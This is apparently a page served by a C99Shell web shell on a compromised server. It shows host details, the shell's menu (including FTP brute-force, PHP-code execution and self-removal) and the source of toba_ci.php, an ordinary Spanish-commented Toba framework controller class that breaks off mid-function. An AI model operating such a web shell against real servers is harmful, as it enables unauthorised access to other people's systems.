!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/nucleo/componentes/interface/   drwxrwxr-x
Free 13.77 GB of 61.93 GB (22.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     toba_ci.php (32.28 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Controlador de Interface: Componente responsable de manejar las pantallas y sus distintos elementos
 * 
 * Este componente puede mantener sus propiedades en sesion con solo prefijar los nombres de variables con s__ (por ej. protected $s__cuit )
 * @package Componentes
 * @subpackage Eis
 * @jsdoc ci ci
 * @wiki Referencia/Objetos/ci
 */
class toba_ci extends toba_ei
{
    
// General
    
protected $_info_ci = array();
    protected 
$_info_ci_me_pantalla = array();
    protected 
$_info_obj_pantalla = array();            //Lista de los objetos asociados a las pantallas
    
protected $_info_evt_pantalla = array();            //Lista de los eventos asociados a las pantallas
     
protected $_prefijo 'ci';
    protected 
$_cn=null;                                // Controlador de negocio asociado
    
protected $_dependencias_ci = array();            // Lista de dependencias CI utilizadas en el REQUEST
    
protected $_dependencias_gi = array();            // Dependencias utilizadas para la generacion de la interface
    
protected $_dependencias_inicializadas = array();// Lista de dependencias inicializadas
    
protected $_dependencias_configuradas = array();
    protected 
$_eventos;                                // Lista de eventos que expone el CI
    
protected $_evento_actual;                        // Evento propio recuperado de la interaccion
    
protected $_evento_actual_param;                    // Parametros del evento actual
    // Pantalla
    
protected $_pantalla_id_eventos;                    // Id de la pantalla que se atienden eventos
    
private   $_pantalla_id_servicio;                    // Id de la pantalla a mostrar en el servicio
    
protected $_pantalla_servicio;                    // Comp. pantalla que se muestra en el servicio 
    
protected $_es_pantalla_inicial false;
    protected 
$_en_servicio false;                    // Indica que se ha entrado en la etapa de servicios
    
protected $_ini_operacion true;                // Indica si la operación recién se inicia
    
protected $_wizard_sentido_navegacion;            // Indica si el wizard avanza o no
    
protected $_metodos_ajax;                        //Metodos AJAX que se pueden invocar en este pedido de página
    
    
static $_navegacion_ajax false;
    
    final function 
__construct($id)
    {
        
$this->set_propiedades_sesion(array('_ini_operacion','_dependencias_ci''_metodos_ajax'));        
        
parent::__construct($id);
        
$this->_nombre_formulario "formulario_toba" ;//Cargo el nombre del <form>
    
}
    
    static function 
set_navegacion_ajax($set=true)
    {
        
self::$_navegacion_ajax $set;
    }


    
/**
     * Destructor del componente
     */    
    
function destruir()
    {
        
$this->fin();
        if( isset(
$this->_pantalla_servicio) ){
            
//Guardo INFO sobre la interface generada
            
$this->_memoria['pantalla_dep'] = $this->_pantalla_servicio->get_lista_dependencias();
            
$this->_memoria['pantalla_servicio'] = $this->_pantalla_id_servicio;
            
$this->_memoria['tabs'] = array_keys($this->_pantalla_servicio->get_lista_tabs());
            
$this->_eventos_usuario_utilizados $this->_pantalla_servicio->get_lista_eventos_usuario();
            
$this->_eventos $this->_pantalla_servicio->get_lista_eventos_internos();
            
//Guarda aquellos metodos ajax que se pueden invocar en el pedido siguiente
            
$this->_metodos_ajax reflexion_buscar_metodos($this'ajax__');
    
        }
        
parent::destruir();
    }
    
    
/**
     * Ventana de extensión previa a la destrucción del componente, al final de la atención de los servicios
     * @ventana
     */
    
function fin() {}

    
/**
     * @ignore 
     */
    
function inicializar($parametro=array())
    {
        
$this->_inicializado true;
        
$this->recuperar_estado_sesion();    //RECUPERO Memoria desincronizada        
        
if(isset($parametro['nombre_formulario'])){
            
$this->_nombre_formulario $parametro['nombre_formulario'];
        }
        if (
$this->_ini_operacion) {
            
$this->_log->debug($this->get_txt(). "[callback][ ini__operacion ]"'toba');
            
$this->ini__operacion();
            
$this->_ini_operacion false;
            
$this->_es_pantalla_inicial true;
        }
        
$this->ini();
        
$this->definir_pantalla_eventos();        
    }

    
/**
     * Ventana de extensión que se ejecuta cuando el componente se inicia en la operación.
     * Su utilidad recide en por ejemplo inicializar un conjunto de variables de sesion y evitar
     * el chequeo continuo de las mismas.
     * Este momento generalmente se corresponde con el inicio de la operación, aunque existen excepciones:
     *  - Si el componente es un ci dentro de otro ci, recien se ejecuta cuando entra a la operacion que no necesariamente es al inicio,
     *         si por ejemplo se encuentra en la 3er pantalla del ci principal.
     *  - Si se ejecuta una limpieza de memoria (comportamiento por defecto del evt__cancelar)
     * 
     * @ventana
     */
    
function ini__operacion() {}
    
    
/**
     * Ventana de extensión que se ejecuta al iniciar el componente en todos los pedidos en los que participa.
     * Como la ventana es previa a la atención de eventos y servicios es un punto ideal para la configuración global del componente
     * @ventana
     */
    
function ini() {}
    
    
//--------------------------------------------------------------
    //---------  Manejo de MEMORIA -------------------------------
    //--------------------------------------------------------------
        
    /**
     * Borra la memoria de todas las dependencias, la propia y luego ejecuta ini__operacion
     */
    
function disparar_limpieza_memoria($no_borrar = array())
    {
        
$this->_log->debug$this->get_txt() . "[callback][ disparar_limpieza_memoria ]"'toba');
        
//Itero los CIs instanciados durante la operacion para limpiarles la memoria
        
if (isset($this->_dependencias_ci)) {
            foreach(
$this->_dependencias_ci as $dep){
                
$this->dependencia($dep)->disparar_limpieza_memoria();
            }
        }

        
array_push($no_borrar'_ini_operacion');
        
$this->limpiar_memoria($no_borrar);
        unset(
$this->_pantalla_id_eventos);        
        
$this->_log->debug($this->get_txt(). "[callback][ ini__operacion ]"'toba');
        
$this->ini__operacion();
    }
    
    
/**
     * Borra la memoria de este CI y lo reinicializa
     * @param array $no_borrar Excepciones, propiedades que no se van a poner en null
     */
    
function limpiar_memoria($no_borrar=null)
    {
        
$this->_log->debug$this->get_txt() . "[callback][ limpiar_memoria ]"'toba');
        
$this->borrar_memoria();
        
$this->eliminar_estado_sesion($no_borrar);
        
$this->ini();
    }
        
    
//--------------------------------------------------------------
    //------  Interaccion con un CONTROLADOR de NEGOCIO ------------
    //--------------------------------------------------------------

    /**
     * Retorna el componente de negocio asociado a este ci
     * @return toba_cn
     */
    
function cn()
    {
        return 
$this->_cn;    
    }

    
/**
     * Asocia al componente un controlador de negocio
     * @param toba_cn $controlador
     * @see toba_cn
     */
    
function asignar_controlador_negocio$controlador )
    {
        
$this->_cn $controlador;
    }

    
//------------------------------------------------
    //--  ETAPA EVENTOS   ----------------------------
    //------------------------------------------------
    
    /**
     * Se disparan los eventos propios y se les ordena a las dependencias que gatillen sus eventos
     * Cualquier error de usuario que aparezca, sea donde sea, se atrapa en la solicitud
     * @todo Esto esta bien? --> cuando aparece el primer error no se sigan procesando las cosas... solo se puede atrapar un error.
     * @ignore 
     */
    
function disparar_eventos()
    {
        
//$this->_log->debug( $this->get_txt() . " disparar_eventos", 'toba');

        //--- Si no hubo servicio anterior, no se atienden eventos
        
if (isset($this->_pantalla_id_eventos)) {
            
$this->controlar_eventos_propios();
            
//Los eventos que no manejan dato tienen que controlarse antes
            
$existe_evento = isset($this->_memoria['eventos'][$this->_evento_actual]);
            if(
$existe_evento && $this->_memoria['eventos'][$this->_evento_actual] == apex_ei_evt_no_maneja_datos ) {
                
$this->disparar_evento_propio();
            } else {
                
//Disparo los eventos de las dependencias
                
foreach($this->get_dependencias_eventos() as $dep) {
                    
$this->_dependencias[$dep]->disparar_eventos();
                }
                if (
$existe_evento) {
                    
$this->disparar_evento_propio();
                }
            }
        } else {
             
$this->_log->info$this->get_txt() . "No hay señales de un servicio anterior, no se atrapan eventos"'toba');
        }
        
$this->post_eventos();        
        
$this->controlar_cambio_pantalla();
        
$this->borrar_memoria_eventos_atendidos();
    }
    
    
/**
     * Ventana que se ejecuta una vez que todos los eventos se han disparado para este objeto
     * @ventana
     */
    
protected function post_eventos() {}
    
    
/**
     * Si existio un cambio explicito de pantalla se notifican las callbacks de entrada-salida
     * @ignore 
     */
    
protected function controlar_cambio_pantalla()
    {
        
$cambio_pantalla_explicito = isset($this->_pantalla_id_servicio) && 
                                        (
$this->_es_pantalla_inicial ||
                                        (isset(
$this->_pantalla_id_eventos) &&
                                         
$this->_pantalla_id_servicio !== $this->_pantalla_id_eventos));
        
        
//--- Se da la oportunidad de que alguien rechaze el seteo, y vuelva todo para atras
        
if ($cambio_pantalla_explicito) { 
            try {
                if (! 
$this->_es_pantalla_inicial) {
                    
// -[ 1 ]-  Controlo que se pueda salir de la pantalla anterior
                    
$evento_salida apex_ei_evento apex_ei_separador $this->_pantalla_id_eventos apex_ei_separador "salida";
                    
$this->invocar_callback($evento_salida);                
                }
    
                
// -[ 2 ]-  Controlo que se pueda ingresar a la etapa propuesta como ACTUAL
                
$evento_entrada apex_ei_evento apex_ei_separador $this->_pantalla_id_servicio apex_ei_separador "entrada";
                
$this->invocar_callback($evento_entrada);
            } catch (
toba_error $e) {
                
//--- Si se lanza una excepción se recupera el id de la pantalla original
                
$this->_pantalla_id_servicio $this->_pantalla_id_eventos;
                throw 
$e;    
            }
        }
    }

    
/**
     * Reconoce que evento del CI se ejecuto
     * @ignore 
     */
    
protected function controlar_eventos_propios()
    {
        
$this->_evento_actual "";
        if (isset(
$_POST[$this->_submit]) && $_POST[$this->_submit] != '') {
            
$evento $_POST[$this->_submit];
            
//La opcion seleccionada estaba entre las ofrecidas?
            
if (isset( $this->_memoria['eventos'][$evento] )) {
                
$this->_evento_actual $evento;
                
$this->_evento_actual_param $_POST[$this->_submit."__param"];
            } else {
                
$this->_log->warning$this->get_txt() . "Se recibio el evento $evento pero el mismo no está entre los disponibles"'toba');
            }
        }
    }

    
/**
     * Dispara los eventos de usuarios o el de cambio de tab
     * @ignore 
     */
    
protected function disparar_evento_propio()
    {
        if(
$this->_evento_actual != "")    {
            
$metodo apex_ei_evento apex_ei_separador $this->_evento_actual;
            if(
method_exists($this$metodo)){
                
//Ejecuto el metodo que implementa al evento
                
$this->_log->debug$this->get_txt() . "[ evento ] '{$this->_evento_actual}' -> [ $metodo ]"'toba');
                
$this->$metodo($this->_evento_actual_param);
            
                
//Comunico el evento al contenedor
                
$this->reportar_evento_interno$this->_evento_actual );
            }else{
                
$this->_log->info($this->get_txt() . "[ evento ]  El METODO [ $metodo ] no existe - '{$this->_evento_actual}' no fue atrapado"'toba');
            }
            
            
//Se pidio explicitamente un id de pantalla o navegar atras-adelante?
            
$tab = (strpos($this->_evento_actual'cambiar_tab_') !== false) ? str_replace('cambiar_tab_'''$this->_evento_actual) : false;
            if (
$tab == '_siguiente' || $tab == '_anterior') {
                
$this->_wizard_sentido_navegacion = ($tab == '_anterior') ? 1;
                
$this->set_pantalla($this->ir_a_limitrofe());
            } elseif (
$tab !== false) {
                
//--- Se pidio un cambio explicito de tab
                
$this->set_pantalla($tab);
            }
        }
    }
        
    
    
/**
     * Dispara un evento dentro del nivel actual
     * Puede recibir N parametros adicionales (ej <pre>$this->registrar_evento('form', ',modificacion', $datos, $fila,...)</pre>)
     * @param string $id Id. o rol que tiene la dependencia en este objeto
     * @param string $evento Id. del evento
     * @ignore 
     */
    
function registrar_evento($id$evento
    {
        
$parametros    func_get_args();
        
array_splice($parametros2);
        
$metodo apex_ei_evento apex_ei_separador $id apex_ei_separador $evento;
        if (
method_exists($this$metodo)) {
            
$this->_log->debug$this->get_txt() . "[ registrar_evento ] '$evento' -> [ $metodo ]\n" var_export($parametrostrue), 'toba');
            
$componente $this->dep($id);
            
//if ($this->debe_disparar_evento($componente, $evento)) {            //Por si se requiere el esquema en PHP
              
if ($componente->tiene_puntos_control($evento)) {
                  
toba::puntos_control()->ejecutar_puntos_control($componente$evento$parametros);
              }
            return 
call_user_func_array(array($this$metodo), $parametros);
            
//}
        
} else {
            
$this->_log->info($this->get_txt() . "[ registrar_evento ]  El METODO [ $metodo ] no existe - '$evento' no fue atrapado"'toba');
            return 
apex_ei_evt_sin_rpta;
        }
    }    

    
/**
     * Dispara un evento interno dentro del nivel actual
     * Puede recibir N parametros adicionales (ej <pre>$this->registrar_evento_interno('form', ',modificacion', $datos, $fila,...)</pre>)
     * @param string $id Id. o rol que tiene la dependencia en este objeto
     * @param string $evento Id. del evento
     * @ignore 
     */    
    
function registrar_evento_interno($id$evento)
    {
        
$parametros    func_get_args();
        
array_splice($parametros2);
        
$metodo apex_ei_evento apex_ei_separador $id apex_ei_separador $evento;
        if (
method_exists($this$metodo)) {
            
$this->_log->debug$this->get_txt() . "[ registrar_evento ] '$evento' -> [ $metodo ]\n" var_export($parametrostrue), 'toba');
            return 
call_user_func_array(array($this$metodo), $parametros);
        } else {
            
$this->_log->info($this->get_txt() . "[ registrar_evento ]  El METODO [ $metodo ] no existe - '$evento' no fue atrapado"'toba');
            return 
apex_ei_evt_sin_rpta;
        }        
    }

    
/**
     * Define si el evento en cuestion debe ser disparado para el componente
     * @param toba_ei_componente $componente
     * @param string $evento
     * @return boolean
     */
    
private function debe_disparar_evento($componente$evento)
    {
        
//Nuevo esquema de disparo de eventos            
        // se debe disparar unicamente si hubo cambios en los datos del comp., es implicito y esta setedo el disparo selectivo.
        
$es_evt_implicito =  $componente->evento($evento)->es_implicito();
        if (
$this->_disparo_evento_condicionado_a_datos && $es_evt_implicito) {
            return 
$componente->hay_cambios();            
        }
        return 
true;
    }
    
//------------------------------------------------
    //--  Eventos Predefinidos------------------------
    //------------------------------------------------
    
  /**
   *  Este evento se invoca por cada control que falla.  
   *  Como el resultado de la ejecucion del control se toma
   *  despues de invocar a este metodo, se puede alterar
   *  desde aqui el comportarmiento del control y su resultado.
     * @param string $punto_control Punto de control en ejecucion.
     * @param toba_control $control Referencia al control que falló.
   */
  
function evt__falla_punto_control($punto_control, &$control)
  {
  
  }

    
/**
     * Evento predefinido de cancelar, limpia este objeto, y en caso de exisitr, cancela al cn asociado
     */
    
function evt__cancelar()
    {
        
$this->_log->debug($this->get_txt() . "[callback][ evt__cancelar ]"'toba');
        
$this->disparar_limpieza_memoria();
        if(isset(
$this->_cn)){
            
$this->_cn->cancelar();            
        }
    }

    
/**
     * Evento predefinido de procesar, en caso de existir el cn le entrega los datos y limpia la memoria
     */
    
function evt__procesar()
    {
        
$this->_log->debug($this->get_txt() . "[callback][ evt__procesar ]"'toba');
        if(isset(
$this->_cn)){
            
$this->disparar_entrega_datos_cn();
            
$this->_cn->procesar();
        }
    }

    
    
//----------------------------------------------------
    //------------   Manejo de Dependencias  -------------
    //----------------------------------------------------

    /**
     * Carga las dependencias y las inicializa
     * @param unknown_type $dependencias
     * @ignore 
     */
    
protected function inicializar_dependencias$dependencias )
    {
        
toba_asercion::es_array($dependencias,"[Inicializar_dependencias] No se definio la lista de dependencias a inicializar");
        
$this->_log->debug$this->get_txt() . "[ inicializar_dependencias ]\n" var_export($dependenciastrue), 'toba');
        
//Parametros a generales
        
$parametro["nombre_formulario"] = $this->_nombre_formulario;
        foreach(
$dependencias as $dep)
        {
            if (isset(
$this->_dependencias[$dep])) {
                
//La dependencia ya se encuentra cargada
                
continue;
            }
            
//-[0]- Creo la dependencia
            
$this->cargar_dependencia($dep);        
            
//-[1]- La inicializo
            
$parametro['id'] = $dep;
            
$this->inicializar_dependencia($dep$parametro);
        }
    }

    
/**
     * Método interno de inicialización de una dependencia
     * @ignore 
     */
    
protected function inicializar_dependencia($dep$parametro)
    {
        if( 
in_array$dep$this->_dependencias_inicializadas ) )  return;
        if (
$this->_dependencias[$dep] instanceof toba_ci ){
            
$this->_dependencias_ci[$dep] = $dep;
            if(isset(
$this->_cn)){
                
$this->_dependencias[$dep]->asignar_controlador_negocio$this->_cn );
            }
        }
        
$this->_dependencias[$dep]->set_controlador($this$dep); //Se hace antes para que puede acceder a su padre
        
$this->_dependencias[$dep]->inicializar($parametro);
        
$this->_dependencias_inicializadas[] = $dep;
    }

    
/**
     * Accede a una dependencia del objeto, opcionalmente si la dependencia no esta cargada, la carga
     *    si la dependencia es un EI y no figura en la lista GI (generacion de interface) dispara el evento de carga!
     * @param string $id Identificador de la dependencia dentro del objeto actual
     * @param boolean $cargar_en_demanda En caso de que el objeto no se encuentre cargado en memoria, lo carga
     * @return toba_componente
     */
    
function dependencia($id$carga_en_demanda true)
    {
        
$dependencia parent::dependencia$id$carga_en_demanda );
        if (! 
in_array$id$this->_dependencias_inicializadas ) ) {
            
$parametro['id'] = $id;
            
$parametro['nombre_formulario'] = $this->_nombre_formulario;
            
$this->inicializar_dependencia$id$parametro );
        }
        
//--- A los eis se les debe configurar cuando estan en servicio
        
if (    $this->_en_servicio
                
&& $this->_dependencias[$id] instanceof toba_ei 
                
&& ! $this->dependencia_esta_configurada($id) ) {
            
$this->configurar_dep($id);
        }
        return 
$dependencia;
    }
    

    
/**
     * Devuelve la lista de dependencias que se utlizaron para generar el servicio anterior (atender los eventos actuales)
     * @ignore 
     */
    
protected function get_dependencias_eventos()
    {
        
//Memoria sobre dependencias que fueron a la interface
        
if( isset($this->_memoria['pantalla_dep']) ){
            
$dependencias $this->_memoria['pantalla_dep'];
            foreach (
array_keys($dependencias) as $id) {
                if(!isset(
$this->_indice_dependencias[$dependencias[$id]])){
                    
//--- Cuando la dependencia se agregó dinámicamente en un pedido de página es posible que no se tenga registro en este pedido
                    
toba::logger()->warning("No se encuentra la dependencia {$dependencias[$id]}, no es posible atender sus eventos.");
                    unset(
$dependencias[$id]);
                }
            }

            
            
//Necesito cargar los daos dinamicos?
            //Esto es posible si los EF chequean que su valor se encuentre entre los posibles
            
$this->inicializar_dependencias$dependencias );
            
            
//Se ordenan las dependencias: Por ultimo se atienden los cuadros y antes los ML
            //Porque pueden contener eventos a nivel de fila que cambien algun cursor
            //y cambien el procesamiento de los otros eventos
            
$cuadros = array();
            
$form_ml = array();
            
$otros = array();
            foreach (
$dependencias as $dep) {
                if (
$this->_dependencias[$dep] instanceof toba_ei_cuadro) {
                    
$cuadros[] = $dep;
                } elseif (
$this->_dependencias[$dep] instanceof toba_ei_formulario_ml) {
                    
$form_ml[] = $dep;
                } else {
                    
$otros[] = $dep;    
                }
            }
            return 
array_merge($otros$form_ml$cuadros);
        } else {
            return array();
        }
    }
        
    
//--------------------------------------------------------
    //--  MANEJO de PANTALLAS  -------------------------------
    //--------------------------------------------------------

    /**
     * Define la pantalla de eventos (servicio del request anterior)
     * @ignore 
     */
    
protected function definir_pantalla_eventos()
    {
        
//--- La pantalla anterior de servicio ahora se convierte en la potencial pantalla de eventos
        
if (isset($this->_memoria['pantalla_servicio'])) {
            
$this->_pantalla_id_eventos $this->_memoria['pantalla_servicio'];
            unset(
$this->_memoria['pantalla_servicio']);
            
$this->_log->debug$this->get_txt() . "Pantalla de eventos: '{$this->_pantalla_id_eventos}'"'toba');
        }
    }


    
/**
     * Retorna la pantalla que se muestra al iniciar el componente en la operación
     * Por defecto retorna la primer pantalla definida en el editor salvo que la rf la oculte
     * Extender para definir una pantalla distinta a través de un método dinámico
     * @return string Identificador de la pantalla
     */
    
function get_pantalla_inicial()
    {
        
$no_visibles toba::perfil_funcional()->get_rf_pantallas_no_visibles($this->_id[1]);
        for (
$a 0$a<count($this->_info_ci_me_pantalla);$a++)    {
            if (! 
in_array($this->_info_ci_me_pantalla[$a]['pantalla'], $no_visibles)) {
                return 
$this->_info_ci_me_pantalla[$a]["identificador"];
            }
        }
        throw new 
toba_error_def('No se encuentra una pantalla libre de restricción funcional para asignar como inicial');
    }
    
    
    
/**
     * Recorre las pantallas en el sentido actual buscando una válida para mostrar
     */
    
protected function ir_a_limitrofe()
    {
        if (!isset(
$this->_pantalla_id_eventos)) {
            
toba::logger()->crit("No se pudo determinar la pantalla anterior, no se encuentra en la memoria sincronizada");
            return 
$this->get_pantalla_inicial();
        }
        
$limitrofes array_elem_limitrofes($this->_memoria['tabs'], $this->_pantalla_id_eventos);
        return 
$limitrofes[$this->_wizard_sentido_navegacion];
    }
    
    
/**
     * Retorna true si la navegación por wizard recibio un 'siguiente' en la ultima solicitud
     * @return boolean
     */
    
protected function wizard_avanza()
    {
        return isset(
$this->_wizard_sentido_navegacion) && ($this->_wizard_sentido_navegacion == 1);
    }

    
/**
     * Resetea el Cambio de Pantalla, se recupera el id de la pantalla original
     * @ignore
     */
    
protected function resetear_cambio_pantalla()
    {
        
$this->_pantalla_id_servicio $this->_pantalla_id_eventos;
    }


    
//------------------------------------------------
    //--  ETAPA SERVICIO  ----------------------------
    //------------------------------------------------
    
    /**
     * Momento donde se decide finalmente la pantalla a graficar y se configuran las dependencias
     * @ignore 
     */
    
function pre_configurar()
    {
        
$this->_en_servicio true;
        
//--- Es posible que nadie haya decidido aun la pantalla ,se decide aca
        
if (! isset($this->_pantalla_id_servicio)) {
            if (isset( 
$this->_pantalla_id_eventos )) {
                
$this->_pantalla_id_servicio =  $this->_pantalla_id_eventos;
            } else {
                
$this->_pantalla_id_servicio $this->get_pantalla_inicial();
            }
        }        
        
        
//--- Configuracion pers. propia        
        
$this->conf();
        
        
//--- Configuracion pers. pantalla actual
        
$this->invocar_callback('conf__'.$this->_pantalla_id_servicio$this->pantalla());
        
$this->pantalla()->post_configurar();        
    }
    
    
/**
     * Se configura una dependencia, se busca un callback `conf__` y si este callback responde cargar estos datos la dependencia
     * @ignore 
     */
    
protected function configurar_dep($dep)
    {
        if (
$this->dependencia_esta_configurada($dep)) {
            throw new 
toba_error_def("La dependencia '$dep' ya ha sido configurada anteriormente");
        }
        
$this->_dependencias_configuradas[] = $dep;        
        
//--- Config. por defecto
        
$this->_dependencias[$dep]->pre_configurar();
        
//--- Config. personalizada
        //ei_arbol($this->_dependencias, $dep);return;
        
$rpta $this->invocar_callback('conf__'.$dep$this->_dependencias[$dep]);
        
//--- Por comodidad y compat.hacia atras, si se responde con algo se asume que es para cargarle datos
        
if (isset($rpta) && $rpta !== apex_callback_sin_rpta) {
            
$this->_dependencias[$dep]->set_datos($rpta);
        }        
        
        
//--- Config. por defecto
        
$this->_dependencias[$dep]->post_configurar();
    }
    
    
/**
     * Una dependencia ya ha sido configurada por este CI?
     * @ignore 
     */
    
protected function dependencia_esta_configurada($id)
    {
        return 
in_array($id$this->_dependencias_configuradas);
    }
    
    
/**
     * Ventana para insertar lógica de la configuración del ci y sus dependencias
     * @ventana 
     */
    
function post_configurar(){}

    
/**
     * Ventana para hacer una configuración personalizada del ci
     * @ventana
     */
    
protected function conf() {}
    
    
/**
     * Retorna los metadatos de una pantalla específica perteneciente a este ci
     * @param string $id Identificador de pantalla
     * @return array
     */
    
protected function get_info_pantalla($id)
    {
        foreach(
$this->_info_ci_me_pantalla as $info_pantalla) {
            if (
$info_pantalla['identificador'] == $id) {
                return 
$info_pantalla;    
            }
        }
    }
    
    
/**
     * Retorna los objetos asociados a una pantalla especifica perteneciente a este ci
     * @param string $id Identificador de la pantalla
     * @return array
     */
    
protected function get_info_objetos_asoc_pantalla($id)
    {
        
$obj = array();
        foreach(
$this->_info_obj_pantalla as $info_pantalla) {
            if (
$info_pantalla['identificador_pantalla'] == $id) {
                
$obj[] = $info_pantalla;
            }
        }
        return 
$obj;
    }

    protected function 
get_info_eventos_pantalla($id)
    {
            
$eventos = array();
            foreach(
$this->_info_evt_pantalla as $info_evento){
                if (
$info_evento['identificador_pantalla'] == $id){
                    
$eventos[$info_evento['identificador_evento']] = $info_evento;
                }
            }
            return 
$eventos;
    }

    
    
/**
     * Indica si la botonera superior del ci se grafica en la barra superior del item
     * @return boolean
     */
    
function es_botonera_en_barra_item()
    {
        return isset(
$this->_info_ci['botonera_barra_item']) && $this->_info_ci['botonera_barra_item']; 
    }    
    
    
/**
     * Retorna la referencia a la pantalla a graficar
     * Una vez que se invoca este metodo se fija la pantalla para el resto del pedido de pagina
     * Es importante relegar esta desicion en caso de querer variar la pantalla a mostrar dinamicamente
     * @return toba_ei_pantalla
     */
    
function pantalla()
    {
        if (! isset(
$this->_pantalla_servicio)) {

            
$this->_log->debug$this->get_txt() . "Pantalla de servicio: '{$this->_pantalla_id_servicio}'"'toba');
            
$id_pantalla $this->get_id_pantalla();            
            if(!isset(
$id_pantalla)) {
                
//Se esta consumiendo la pantalla antes de la configuracion,
                //y sin un set_pantalla de por medio: utilizo la misma pantalla de los eventos.
                
$id_pantalla $this->_pantalla_id_eventos;
            }    
            
$info_pantalla $this->get_info_pantalla($id_pantalla);
            
$obj_pantalla $this->get_info_objetos_asoc_pantalla($id_pantalla);
            
$evt_pantalla $this->get_info_eventos_pantalla($id_pantalla);
            
$info = array('_info' => $this->_info,
                         
'_info_ci' => $this->_info_ci
                         
'_info_eventos' => $this->_info_eventos,
                         
'_info_ci_me_pantalla' => $this->_info_ci_me_pantalla);
            
$info['_info_pantalla'] = $info_pantalla;
            
$info['_objetos_pantalla'] = $obj_pantalla;
            
$info['_eventos_pantalla'] = $evt_pantalla;
            
$info['_const_instancia_numero'] = 0;
            if (isset(
$info_pantalla['subclase_archivo'])) {
                
$pm toba::puntos_montaje()->get_por_id($info_pantalla['punto_montaje']);
                
$path $pm->get_path_absoluto().'/'.$info_pantalla['subclase_archivo'];
                require_once(
$path);
            }
            
$clase 'toba_ei_pantalla';
            if (isset(
$info_pantalla['subclase'])) {
                
$clase $info_pantalla['subclase'];
            }
            
$this->_pantalla_servicio = new $clase($info$this->_submit$this->objeto_js);    
            
$this->_pantalla_servicio->set_controlador($this$id_pantalla);
            
$this->_pantalla_servicio->pre_configurar();
            
//Se le pasan las notificaciones
            
foreach ($this->_notificaciones as $notificacion) {
                
$this->_pantalla_servicio->agregar_notificacion($notificacion['mensaje'], $notificacion['tipo']);
            }
            
$this->_notificaciones = array();
        }
        return 
$this->_pantalla_servicio;
    }

    
/**
    * Shortcut para acceder a un evento propio (en realidad es de la pantalla)
    * @param string $id Identificador del evento
    * @return toba_evento_usuario 
    */
    
function evento($id)
    {
        return 
$this->pantalla()->evento($id);
    }

    
/**
     * Agrega un mensaje de notificacion a la pantalla a generar
     * @param string $mensaje
     * @param string $tipo Puede ser 'info', 'warning', 'error'
     */
    
function agregar_notificacion($mensaje$tipo='info')
    {
        if (isset(
$this->_pantalla_servicio)) {
            
$this->_pantalla_servicio->agregar_notificacion($mensaje$tipo);
        } else {
            
$this->_notificaciones[] = array('mensaje' => $mensaje'tipo' => $tipo);
        }        
    }    
    
    
/**
     * Cambia la pantalla a utilizar en el servicio actual
     * El cambio recien sera efectivo cuando se utilize la pantalla con el metodo pantalla()
     * @param string $id Identificador de la pantalla, tal como se definio en el editor
     */
    
function set_pantalla($id)
    {
        
$no_visibles toba::perfil_funcional()->get_rf_pantallas_no_visibles($this->_id[1]);
        
$ok false;
        foreach(
$this->_info_ci_me_pantalla as $info_pantalla) {
            if (!
$ok && $info_pantalla['identificador'] == $id) { 
                if (
in_array($info_pantalla['pantalla'], $no_visibles)) {
                    
//-- Restricción funcional pantalla no-visible ------
                    
throw new toba_error_def($this->get_txt()."No es posible navegar hacia la pantalla '"$id ."' ya que se encuentra oculta por una restricción funcional");
                    
//--------------                                
                
} else {
                    
$ok true;
                }
            }
        }
    
        if (! 
$ok) {
            throw new 
toba_error_def($this->get_txt()."El identificador de pantalla '"$id ."' no está definido en el ci.");
        }
    
        if (isset(
$this->_pantalla_servicio)) { 
            throw new 
toba_error_def($this->get_txt()."No es posible cambiar la pantalla a mostrar porque ya ha sido utilizada.");
        }
        
$this->_pantalla_id_servicio    $id;
    }

    
/**
     * Retorna el id de la pantalla actualmente seleccionada para graficar
     * @return string
     */
    
protected function get_id_pantalla()
    {
        return 
$this->_pantalla_id_servicio;    
    }

    
/**
     * Genera el html de la pantalla actual
     */
    
function generar_html()
    {
        
$this->pantalla()->generar_html();    
    }
    
    
/**
     * @ignore 
     */
    
function get_consumo_javascript()
    {
        return 
$this->pantalla()->get_consumo_javascript();
    }
    
    
/**
     * @ignore 
     * Delega la generacion de js a la pantalla actual
     */
    
function generar_js()
    {
        if (
self::$_navegacion_ajax) {
            
$this->pantalla()->set_navegacion_ajax(true);
        }
        return 
$this->pantalla()->generar_js();
    }
    
    
//------------------------------------------------------------
    //----------------------  SERVICIO AJAX  ---------------------
    //------------------------------------------------------------
    
    /**
     * Lanza la ejecucion del metodo especificado por el pedido ajax (si existe)
     * y comunica la respuesta.
     * @ignore
     * @return unknow_type
     */
    
function servicio__ajax()
    {
        
$metodo 'ajax__'.trim(toba::memoria()->get_parametro('ajax-metodo'));
        
$metodo substr($metodo,0,80);
        if (!isset(
$this->_metodos_ajax) || !in_array($metodo$this->_metodos_ajax)) {
            throw new 
toba_error_seguridad("Invocación AJAX incorrecta, el metodo $metodo no existe");
        }
        
$parametros trim(toba::memoria()->get_parametro('ajax-param'));
        
$modo trim(toba::memoria()->get_parametro('ajax-modo'));        
        
$respuesta = new toba_ajax_respuesta($modo);
        
        
$variable toba_vinculador::url_a_variable($parametros);        
        
$this->$metodo($variable$respuesta);
        
$respuesta->comunicar();
    }

    
//---------------------------------------------------------------
    //------------------------ SALIDA Impresion ---------------------
    //---------------------------------------------------------------

    /**
     * Genera la vista de impresion HTML de la pantalla actual
     */
    
function vista_impresion_htmltoba_impresion $salida )
    {
        
$this->pantalla()->vista_impresion_html$salida );
    }
    
    
//---------------------------------------------------------------
    //------------------------- SALIDA XML --------------------------
    //---------------------------------------------------------------
    
    /**
     * Genera el xml del componente y sus hijos
     * @param boolean $inicial Si es el primer elemento llamado desde vista_xml
     * @param string $xmlns Namespace para el componente
     * @return string XML del componente y sus hijos
     */
    
function vista_xml($inicial=false$xmlns=null)
    {
        if (
$xmlns) {
            
